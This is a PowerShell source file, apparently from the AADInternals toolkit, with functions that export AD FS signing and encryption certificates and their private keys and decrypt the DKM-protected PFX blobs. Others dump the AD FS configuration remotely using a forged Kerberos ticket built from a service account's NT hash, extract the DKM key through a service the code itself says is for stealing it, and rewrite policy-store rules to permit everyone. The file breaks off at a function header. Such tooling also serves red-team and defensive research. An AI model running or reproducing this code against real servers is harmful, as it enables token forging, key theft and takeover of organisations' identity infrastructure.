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ADFS.ps1
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ADFS.ps1
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# Apr 21st 2021
# Exports ADFS Certificates
function Export-ADFSCertificates
{
<#
.SYNOPSIS
Exports ADFS certificates
.DESCRIPTION
Exports current and additional (next) ADFS token signing and encryption certificates to local directory.
The exported certificates do not have passwords.
.PARAMETER Configuration
ADFS configuration (xml)
.PARAMETER EncryptionKey
Encryption Key from DKM. Can be byte array or hex string
.Example
PS:\>Export-AADIntADFSCertificates
.Example
PS:\>$config = Export-AADIntADFSConfiguration -Local
PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $config
PS:\>Export-AADIntADFSCertificates -Configuration $config -Key $key
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory= $False)]
[xml]$Configuration,
[Parameter(Mandatory= $False)]
[object]$Key
)
Process
{
if(!$Configuration)
{
$Configuration = Export-ADFSConfiguration -Local
if(!$Configuration)
{
Throw "Error retrieving the configuration."
}
}
if(!$Key)
{
$Key = Export-ADFSEncryptionKey -Local -Configuration $Configuration
if(!$Key)
{
Throw "Error retrieving the key."
}
}
$certs = [ordered]@{}
$certs["signing"] = $Configuration.ServiceSettingsData.SecurityTokenService.SigningToken
$certs["encryption"] = $Configuration.ServiceSettingsData.SecurityTokenService.EncryptionToken
$cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference
if($cert.FindValue -eq $certs["signing"].FindValue)
{
Write-Warning "Additional signing certificate is same as the current signing certificate and will not be exported."
}
else
{
$certs["signing_additional"] = $cert
}
$cert = $Configuration.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference
if($cert.FindValue -eq $certs["encryption"].FindValue)
{
Write-Warning "Additional encryption certificate is same as the current encryption certificate and will not be exported."
}
else
{
$certs["encryption_additional"] = $cert
}
foreach($certName in $certs.Keys)
{
$cert = $certs[$certName]
# If EncryptedPfx.nil equals true, this cert is stored in server's certificate store, not in configuration.
if($cert.EncryptedPfx.nil -eq "true")
{
# Get the certificate
Write-Verbose "Getting certificate $($cert.FindValue)"
$certPath = "Cert:\$($cert.StoreLocationValue)\$($cert.StoreNameValue)\$($cert.FindValue)"
$certificate = Get-Item -Path $certPath
if($certificate -eq $null)
{
Write-Error "Certificate ""$certPath""not found from this computer!"
break
}
$binCert = $certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert)
# Get the private key
$keyName = $certificate.PrivateKey.CspKeyContainerInfo.UniqueKeyContainerName
Write-Verbose "Private key name: $keyName"
$keyPath = "$env:ALLUSERSPROFILE"
# CryptoAPI and CNG stores keys in different directories
# https://docs.microsoft.com/en-us/windows/win32/seccng/key-storage-and-retrieval
$paths = @(
"$keyPath\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$keyPath\Microsoft\Crypto\Keys\$keyName"
)
foreach($path in $paths)
{
$keyBlob = Get-BinaryContent $path -ErrorAction SilentlyContinue
if($keyBlob)
{
Write-Verbose "Key loaded from $path"
break
}
}
if(!$keyBlob)
{
if($joinInfo.KeyName.EndsWith(".PCPKEY"))
{
# This machine has a TPM
Throw "PCP keys are not supported, unable to export private key!"
}
else
{
Throw "Error accessing key. If you are already elevated to LOCAL SYSTEM, restart PowerShell and try again."
}
return
}
# Parse the key blob
$blobType = [System.BitConverter]::ToInt32($keyBlob,0)
switch($blobType)
{
1 { $privateKey = Parse-CngBlob -Data $keyBlob -Decrypt }
2 { $privateKey = Parse-CapiBlob -Data $keyBlob -Decrypt }
default { throw "Unsupported key blob type" }
}
$pfx = New-PfxFile -RSAParameters $privateKey.RSAParameters -X509Certificate $binCert
}
else
{
Write-Verbose "Decrypting $certName certificate"
$encPfxBytes = Convert-B64ToByteArray -B64 $cert.EncryptedPfx
# Get the Key Material - some are needed, some not.
# Values are Der encoded except cipher text and mac, so the first byte is tag and the second one size of the data.
$guid= $encPfxBytes[8..25] # 18 bytes
$KDF_oid= $encPfxBytes[26..36] # 11 bytes
$MAC_oid= $encPfxBytes[37..47] # 11 bytes
$enc_oid= $encPfxBytes[48..58] # 11 bytes
$nonce= $encPfxBytes[59..92] # 34 bytes
$iv= $encPfxBytes[93..110] # 18 bytes
$ciphertext = $encPfxBytes[115..$($encPfxBytes.Length-33)]
$cipherMAC = $encPfxBytes[$($encPfxBytes.Length-32)..$($encPfxBytes.Length)]
# Create the label
$label = $enc_oid + $MAC_oid
# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, but MS is using bytes (?)
# As the key size is only 16 bytes (128 bits), no need to loop.
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$key)
$hmacOutput = $hmac.ComputeHash( @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $nonce[2..33] + @(0x00,0x00,0x00,0x30) )
$decryptionKey = $hmacOutput[0..15]
Write-Verbose " Decryption key: $(Convert-ByteArrayToHex -Bytes $decryptionKey)"
# Create a decryptor and decrypt
$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$Crypto.Mode="CBC"
$Crypto.KeySize = 128
$Crypto.BlockSize = 128
$Crypto.Padding = "None"
$Crypto.Key = $decryptionKey
$Crypto.IV = $iv[2..17]
$decryptor = $Crypto.CreateDecryptor()
# Create a memory stream and write the cipher text to it through CryptoStream
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor,[System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($ciphertext,0,$ciphertext.Count)
$cs.Close()
$cs.Dispose()
# Get the results and export to the file
$pfx = $ms.ToArray()
$ms.Close()
$ms.Dispose()
}
Set-BinaryContent -Path "ADFS_$certName.pfx" -Value $pfx
}
}
}
# Apr 21st 2021
# Exports ADFS configuration from local database or remote server
function Export-ADFSConfiguration
{
<#
.SYNOPSIS
Exports ADFS configuration from the local or remote ADFS server.
.DESCRIPTION
Exports ADFS configuration from the local ADFS server (local database) or from remote server (ADFS sync).
.PARAMETER Local
If provided, exports configuration from the local ADFS server
.PARAMETER Hash
NTHash of ADFS service user. Can be a byte array or hex string
.PARAMETER Server
Ip-address or FQDN of the remote ADFS server.
.PARAMETER SID
Security Identifier (SID) of the user (usually ADFS service user) used to dump remote configuration. Can be a byte array, string, or SID object.
.Example
$config = Export-AADIntADFSConfiguration -Local
.Example
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid
Name : sv_ADFS
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
ObjectSid : S-1-5-21-2918793985-2280761178-2512057791-1134
PS C:\>$cred = Get-Credential
PS C:\>Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
6e018b0cd5b37b4fe1e0b7d54a6302b7
PS C:\>$configuration = Export-AADIntADFSConfiguration -Hash "6e018b0cd5b37b4fe1e0b7d54a6302b7" -SID S-1-5-21-2918793985-2280761178-2512057791-1134 -Server sts.company.com
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Local", Mandatory = $True)]
[switch]$Local,
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[object]$Hash,
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[Parameter(ParameterSetName="LoggedInUser", Mandatory = $False)]
[String]$Server="localhost",
[Parameter(ParameterSetName="Sync", Mandatory = $True)]
[object]$SID,
[Parameter(ParameterSetName="LoggedInUser", Mandatory = $True)]
[switch]$AsLoggedInUser
)
Process
{
if($Local) # Export configuration data from the local ADFS server
{
# Check that we are on ADFS server
$service = Get-Service ADFSSRV -ErrorAction SilentlyContinue
if($service -eq $null -or $service.Status -ne "Running")
{
Write-Error "This command needs to be run on AD FS server and the ADFSSRV service must be running."
return $null
}
# Reference: https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208
# Get configuration data object using .NET Reflection
$adfsProperties = Get-AdfsProperties
$configObject = Get-ReflectionProperty -TypeObject $adfsProperties.GetType() -ValueObject $adfsProperties -PropertyName "ServiceSettingsData"
# Get the service using WMI to get location
$adfsService = Get-WmiObject -Query 'select * from win32_service where name="adfssrv"'
$adfsDirectory = (get-item $adfsService.PathName).Directory.FullName
# Load Microsoft.IdentityServer.dll
$misDll = [IO.File]::ReadAllBytes((Join-Path -Path $adfsDirectory -ChildPath 'Microsoft.IdentityServer.dll'))
$misAssembly = [Reflection.Assembly]::Load($misDll)
Remove-Variable "misDll"
# Load serializer class
$serializer = $misAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.Utility')
# Convert the configuration object to xml using .NET Reflection
# public static string Serialize(ContractObject obj, bool indent = false)
$configuration = Invoke-ReflectionMethod -TypeObject $serializer -Method "Serialize" -Parameters @($configObject,$false)
}
elseif($AsLoggedInUser) # Read the configuration as the logged in user
{
$configuration = Export-ADFSConfigurationUsingWCF -Server $Server
}
else # Read configuration from remote server by emulating ADFS sync
{
# Check the hash and SID
if($Hash -is [array])
{
$strHash = Convert-ByteArrayToHex -Bytes ([byte[]]$Hash)
Remove-Variable "Hash"
$Hash = $strHash
}
elseif($Hash -isnot [string])
{
Throw "Hash must be a byte array or a hexadecimal string"
}
if($SID -is [array])
{
$sidObject = [System.Security.Principal.SecurityIdentifier]::new(([byte[]]$SID),0)
Remove-Variable "SID"
$SID = $sidObject.toString
}
elseif($SID -is [System.Security.Principal.SecurityIdentifier])
{
$sidObject = $SID
Remove-Variable "SID"
$SID = $sidObject.toString
}
elseif($SID -isnot [string])
{
Throw "SID must be a System.Security.Principal.SecurityIdentifier, byte array or a hexadecimal string"
}
Write-Verbose "* Start dumping AD FS configuration from $server`n"
# Generate required stuff
$sessionKey = (New-Guid).ToByteArray()
$params=@{
hash = $Hash
SidString = $SID
UserName= 'svc_ADFS$'
UserDisplayName= ""
UserPrincipalName= 'svc_ADFS$@company.com'
ServerName= "DC"
DomainName= "COMPANY"
Realm= "COMPANY.COM"
ServiceTarget = "host/sts.company.com"
SessionKey = $sessionKey
}
$kerberosTicket = New-KerberosTicket @Params
$clientSecret = Get-RandomBytes -Bytes 32
Write-Verbose "User NTHASH: $Hash"
Write-Verbose "Client secret: $(Convert-ByteArrayToB64 -Bytes $clientSecret)"
Write-Verbose "Session key: $(Convert-ByteArrayToB64 -Bytes $sessionKey)`n"
Write-Verbose "RST begin"
# Request Security Token
$envelope = Create-RSTEnvelope -Server $server -KerberosTicket $kerberosTicket
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
$RSTR = Parse-RSTR -RSTR $response -Key $sessionKey
Write-Verbose "RST end`n"
Write-Verbose "SCT begin"
# Request Security Context Token
$envelope = Create-SCTEnvelope -Key $RSTR.Key -ClientSecret $clientSecret -Context $RSTR.Context -KeyIdentifier $RSTR.Identifier -Server $server
try
{
[xml]$response = Invoke-RestMethod -UseBasicParsing -uri "http://$Server/adfs/services/policystoretransfer" -Method Post -Body $envelope -ContentType "application/soap+xml"
}
catch
{
# Catch the error and try to parse the SOAP document
$str=$_.Exception.Response.GetResponseStream()
$buf = new-object byte[] $str.Length
$str.Position = 0
$str.Read($buf,0,$str.Length) | Out-Null
[xml]$response=[text.encoding]::UTF8.GetString($buf)
}
Check-SoapError -Message $response
$CSTR = Parse-SCTR -SCTR $response -Key $RSTR.Key
Write-Verbose "SCT end`n"
# Get the capabilities
#[xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command Capabilities
Write-Verbose "ServiceSettings start"
# Get the settings
[xml]$response = Invoke-ADFSSoapRequest -Key $CSTR.Key -Context $CSTR.Context -KeyIdentifier $CSTR.Identifier -Server $server -Command ServiceSettings
Write-Verbose "ServiceSettings end"
$configuration = $response.GetStateResponse.GetStateResult.PropertySets.PropertySet.Property | where Name -eq "ServiceSettingsData" | select -ExpandProperty Values | select -ExpandProperty Value_x007B_0_x007D_
}
Write-Verbose "Configuration successfully read ($($configuration.Length) bytes)."
return $configuration
}
}
# Apr 21st 2021
# Exports ADFS configuration data encryption key
function Export-ADFSEncryptionKey
{
<#
.SYNOPSIS
Exports ADFS configuration encryption Key from DKM
.DESCRIPTION
Exports ADFS configuration encryption Key from the local ADFS server either as a logged-in user or ADFS service account, or remotely using DSR.
.PARAMETER Local
If provided, exports Key from the local ADFS server
.PARAMETER AsADFS
If provided, "elevates" to ADFS service user. If used, the PowerShell session MUST be restarted to return original user's access rights.
.PARAMETER ObjectGuid
Object guid of the contact object containing the Key.
.PARAMETER Server
Ip-address or FQDN of domain controller.
.PARAMETER Credentials
Credentials of the user used to log in to DC and get the data by DSR. MUST have replication rights!
.PARAMETER Configuration
The ADFS configuration data (xml).
.PARAMETER AsHex
If provided, exports the Key as hex string
.Example
PS:\>$key = Export-AADIntADFSEncryptionKey -Local -Configuration $configuration
.Example
PS:\>$creds = Get-Credential
PS:\>$key = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $creds -ObjectGuid 91491383-d748-4163-9e50-9c3c86ad1fbd
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName="Local", Mandatory=$True)]
[switch]$Local,
[Parameter(ParameterSetName="Local", Mandatory=$True)]
[xml]$Configuration,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[guid]$ObjectGuid,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[String]$Server,
[Parameter(ParameterSetName="Sync", Mandatory= $True)]
[pscredential]$Credentials,
[switch]$AsHex
)
Process
{
if($Local) # Export Key from the local ADFS server
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server"
return
}
# If auto certificate rollover is disabled, certificates are in AD FS servers' certificate stores and KDM key not needed.
if(-not (Get-AdfsProperties).AutoCertificateRollover)
{
Write-Verbose "Auto certificate rollover not enabled. DKM key not needed."
return "<empty>"
}
$ADFSUser = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\adfssrv" -Name "ObjectName" | Select-Object -ExpandProperty "ObjectName"
# Get key information using the service
# The return value is a JSON file where the key is a hex string
$keyInformation = Export-ADFSEncryptionKeyUsingService -Configuration $Configuration -ADFSUser $ADFSUser -ServiceName "AADInternals" -Description "A little service to steal the AD FS DKM secret :)" | ConvertFrom-Json
# Check for errors
if($keyInformation.Error)
{
Write-Error $keyInformation.Error
return $null
}
$key = Convert-HexToByteArray -HexString ($keyInformation.Key)
Write-Verbose "Key object guid: $($keyInformation.Guid), created $($keyInformation.Created)"
}
else # Export from remote DC using DSR
{
$key = Get-ADUserThumbnailPhoto -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
}
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)"
if($AsHex)
{
Convert-ByteArrayToHex -Bytes $key
}
else
{
return $key
}
}
}
# May 5th 2021
# Sets configuration of the local ADFS server
function Set-ADFSConfiguration
{
<#
.SYNOPSIS
Sets configuration of the local AD FS server.
.DESCRIPTION
Sets configuration of the local AD FS server (local database).
.PARAMETER Configuration
ADFS configuration (xml-document)
.Example
PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules
PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
PS C:\>Set-AADIntADFSConfiguration -Configuration $config
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory= $True)]
[xml]$Configuration
)
Process
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server"
return
}
# Get the database connection string
$ADFS = Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService
$conn = $ADFS.ConfigurationDatabaseConnectionString
Write-Verbose "ConnectionString: $conn"
# Write the configuration to the database
$strConfig = $Configuration.OuterXml
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE IdentityServerPolicy.ServiceSettings SET ServiceSettingsData=@config"
$SQLcmd.Parameters.AddWithValue("@config",$strConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
Write-Verbose "Configuration successfully set ($($strConfig.Length) bytes)."
}
}
# May 5th 2021
# Gets ADFS policy store authorisation policy
function Get-ADFSPolicyStoreRules
{
<#
.SYNOPSIS
Gets AD FS PolicyStore Authorisation Policy rules
.DESCRIPTION
Gets AD FS PolicyStore Authorisation Policy rules
.PARAMETER Configuration
ADFS configuration (xml-document). If not given, tries to get configuration from the local database.
.Example
PS C:\>Get-AADIntADFSPolicyStoreRules | fl
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
AuthorizationPolicy : @RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[xml]$Configuration
)
Process
{
if(!$Configuration)
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter."
return
}
[xml]$Configuration = Export-ADFSConfiguration -Local
}
$parameters = @{
"AuthorizationPolicy" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy
"AuthorizationPolicyReadOnly" = $Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly
}
return New-Object psobject -Property $parameters
}
}
# May 5th 2021
# Gets ADFS policy store authorisation policy
function Set-ADFSPolicyStoreRules
{
<#
.SYNOPSIS
Sets AD FS PolicyStore Authorisation Policy rules
.DESCRIPTION
Sets AD FS PolicyStore Authorisation Policy rules and returns the modified configuration (xml document)
.PARAMETER Configuration
ADFS configuration (xml-document). If not given, tries to get configuration from the local database.
.PARAMETER AuthorizationPolicy
PolicyStore authorization policy. By default, allows all to modify.
.PARAMETER AuthorizationPolicyReadOnly
PolicyStore read-only authorization policy. By default, allows all to read.
.Example
PS C:\>$authPolicy = Get-AADIntADFSPolicyStoreRules
PS C:\>$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
PS C:\>Set-AADIntADFSConfiguration -Configuration $config
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[xml]$Configuration,
[Parameter(Mandatory=$False)]
[string]$AuthorizationPolicy = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");',
[Parameter(Mandatory=$False)]
[string]$AuthorizationPolicyReadOnly = '=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");'
)
Process
{
if(!$Configuration)
{
# Check that we are on ADFS server
if((Get-Service ADFSSRV -ErrorAction SilentlyContinue) -eq $null)
{
Write-Error "This command needs to be run on ADFS server or provide the configuration with -Configuration parameter."
return
}
[xml]$Configuration = Export-ADFSConfiguration -Local
}
$Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicy = $AuthorizationPolicy
$Configuration.ServiceSettingsData.PolicyStore.AuthorizationPolicyReadOnly = $AuthorizationPolicyReadOnly
return $Configuration.OuterXml
}
}
# Exports the configuration remotely using Windows Communication Foundation (WCF)
# May 20th 2021
function Export-ADFSConfigurationUsingWCF
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$Server
)
Begin
{
# Create the WCF client
$WCFClassDefinition=@"
using System.Runtime.Serialization;
using System.Collections.Generic;
using System.Collections;
using System;
namespace AADInternals
{
// DataContract definitions
public interface IValueList : IList, ICollection, IEnumerable
{
}
[DataContract(Name = "SearchResult", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class SearchResultData
{
[DataMember]
public PropertySetDataList PropertySets
{
get { return this._propertySetList;} set {this._propertySetList = value;}
}
private PropertySetDataList _propertySetList = new PropertySetDataList();
}
[CollectionDataContract(Name = "PropertySets", ItemName = "PropertySet", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertySetDataList : List<PropertySetData> {}
[CollectionDataContract(Name = "PropertySet", ItemName = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertySetData : List<PropertyData> { }
[CollectionDataContract(Name = "Values{0}", ItemName = "Value{0}", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class PropertyValueList<T> : List<T>, IValueList, IList, ICollection, IEnumerable {}
[DataContract(Name = "Property", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
[KnownType(typeof(PropertyValueList<string>))]
[KnownType(typeof(PropertyValueList<PropertySetData>))]
public class PropertyData
{
public PropertyData() {}
public PropertyData(string name) { this._name = name;}
[DataMember(EmitDefaultValue = false, IsRequired = true)]
public string Name { get {return this._name;}set{this._name = value;} }
[DataMember(EmitDefaultValue = false, IsRequired = false)]
public IValueList Values { get {return this._values; } set { this._values = value; } }
private string _name;
private IValueList _values = new PropertyValueList<string>();
}
public enum SyncItemState
{
NotProcessed,
Processing,
Processed
}
[CollectionDataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ServiceStateSummary : List<ServiceStateItem> {}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ServiceStateItem
{
public ServiceStateItem(string serviceObjectType, long serialNumber, int schemaVersionNumber, DateTime lastUpdateTime)
{
this._serviceObjectType = serviceObjectType;
this._serialNumber = serialNumber;
this._schemaVersionNumber = schemaVersionNumber;
this._lastUpdateTime = lastUpdateTime;
this.NeedsUpdate = false;
}
[DataMember]
public string ServiceObjectType
{
get { return this._serviceObjectType; } set { this._serviceObjectType = value;}
}
[DataMember]
public long SerialNumber
{
get { return this._serialNumber; } set { this._serialNumber = value; }
}
[DataMember]
public int SchemaVersionNumber
{
get { return this._schemaVersionNumber; } set { this._schemaVersionNumber = value; }
}
[DataMember]
public DateTime LastUpdateTime
{
get { return this._lastUpdateTime; } set { this._lastUpdateTime = value;}
}
public bool SyncComplete
{
get { return this._syncCompleted; } set { this._syncCompleted = value; }
}
public bool NeedsUpdate { get; set; }
public SyncItemState ProcessingState
{
get { return this._processingState; } set { this._processingState = value; }
}
private string _serviceObjectType;
private long _serialNumber;
private int _schemaVersionNumber;
private DateTime _lastUpdateTime;
private SyncItemState _processingState;
private bool _syncCompleted;
}
public enum FarmBehavior
{
Unsupported = -1,
None,
Win2012R2,
Threshold,
Win2016,
Win2019
}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public enum FilterOperation
{
[EnumMember]
And,
[EnumMember]
Or
}
[DataContract(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public enum SimpleOperation
{
[EnumMember]
Equals,
[EnumMember]
StartsWith,
[EnumMember]
EndsWith,
[EnumMember]
Contains,
[EnumMember]
NotEquals,
[EnumMember]
ScopeAppliesTo
}
[DataContract(Name = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class SimpleConditionData
{
public SimpleConditionData() { }
public SimpleConditionData(string property, SimpleOperation operation, string value)
{
this._property = property;
this._value = value;
this._op = operation;
}
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 0)]
public string Property { get { return this._property; } set { this._property = value; } }
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 1)]
public SimpleOperation Operation { get { return this._op; } set { this._op = value; } }
[DataMember(EmitDefaultValue = true, IsRequired = true, Order = 2)]
public string Value { get { return this._value; } set { this._value = value; } }
private SimpleOperation _op;
private string _property;
private string _value;
}
[CollectionDataContract(ItemName = "If", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class ConditionList : List<SimpleConditionData> { }
[DataContract(Name = "Filter", Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore")]
public class FilterData
{
public FilterData()
{
}
public FilterData(FilterOperation operation) { this._bool = operation; }
[DataMember(Name = "Conditions")]
public ConditionList Conditions { get { return this._conditions; } set { this._conditions = value; } }
[DataMember(Name = "Operation")]
public FilterOperation Operation { get { return this._bool; } set { this._bool = value; } }
private FilterOperation _bool;
private ConditionList _conditions = new ConditionList();
}
// PolicyStoreReadOnlyTransfer definitions
[System.ServiceModel.ServiceContractAttribute(Namespace = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore", ConfigurationName = "AADInternals.IPolicyStoreReadOnlyTransfer")]
public interface IPolicyStoreReadOnlyTransfer
{
[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetState", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetStateResponse")]
SearchResultData GetState(string serviceObjectType, string mask=null, FilterData filter = null, int clientVersionNumber = 1);
[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeaders", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetHeadersResponse")]
ServiceStateSummary GetHeaders();
[System.ServiceModel.OperationContractAttribute(Action = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehavior", ReplyAction = "http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore/IPolicyStoreReadOnlyTransfer/GetFarmBehaviorResponse")]
FarmBehavior GetFarmBehavior();
}
public interface IPolicyStoreReadOnlyTransferChannel : AADInternals.IPolicyStoreReadOnlyTransfer, System.ServiceModel.IClientChannel
{
}
[System.Diagnostics.DebuggerStepThroughAttribute()]
public partial class PolicyStoreReadOnlyTransferClient : System.ServiceModel.ClientBase<AADInternals.IPolicyStoreReadOnlyTransfer>, AADInternals.IPolicyStoreReadOnlyTransfer
{
public PolicyStoreReadOnlyTransferClient()
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName) :
base(endpointConfigurationName)
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, string remoteAddress) :
base(endpointConfigurationName, remoteAddress)
{
}
public PolicyStoreReadOnlyTransferClient(string endpointConfigurationName, System.ServiceModel.EndpointAddress remoteAddress) :
base(endpointConfigurationName, remoteAddress)
{
}
public PolicyStoreReadOnlyTransferClient(System.ServiceModel.Channels.Binding binding, System.ServiceModel.EndpointAddress remoteAddress) :
base(binding, remoteAddress)
{
}
public SearchResultData GetState(string serviceObjectType, string mask = null, FilterData filter = null, int clientVersionNumber = 1)
{
return base.Channel.GetState(serviceObjectType, mask, filter, clientVersionNumber);
}
public ServiceStateSummary GetHeaders()
{
return base.Channel.GetHeaders();
}
public FarmBehavior GetFarmBehavior()
{
return base.Channel.GetFarmBehavior();
}
}
}
"@
Add-Type -TypeDefinition $WCFClassDefinition -ReferencedAssemblies "System.ServiceModel","System.Runtime.Serialization"
Remove-Variable "WCFClassDefinition"
}
Process
{
# Form the url
$adfsUrl = "http://$Server/adfs/services/policystoretransfer"
# Create the binding object and set the maximum message size & string lenght to same AD FS is using
[System.ServiceModel.WSHttpBinding]$binding = [System.ServiceModel.WSHttpBinding]::new()
$binding.MaxReceivedMessageSize = 20971520
$binding.ReaderQuotas.MaxStringContentLength = 20971520
# Instantiate the client and get ServiceSettings
[AADInternals.PolicyStoreReadOnlyTransferClient]$client = [AADInternals.PolicyStoreReadOnlyTransferClient]::new($binding,[System.ServiceModel.EndpointAddress]::new($adfsUrl))
$result = $client.getState("ServiceSettings")
$client.Close()
# Loop through the results and return the settings
foreach($property in $result.PropertySets[0])
{
if($property.Name -eq "ServiceSettingsData")
{
return $property.Values[0]
}
}
}
}
# Decrypt ADFS RefreshToken
# Oct 28th 2021
function Unprotect-ADFSRefreshToken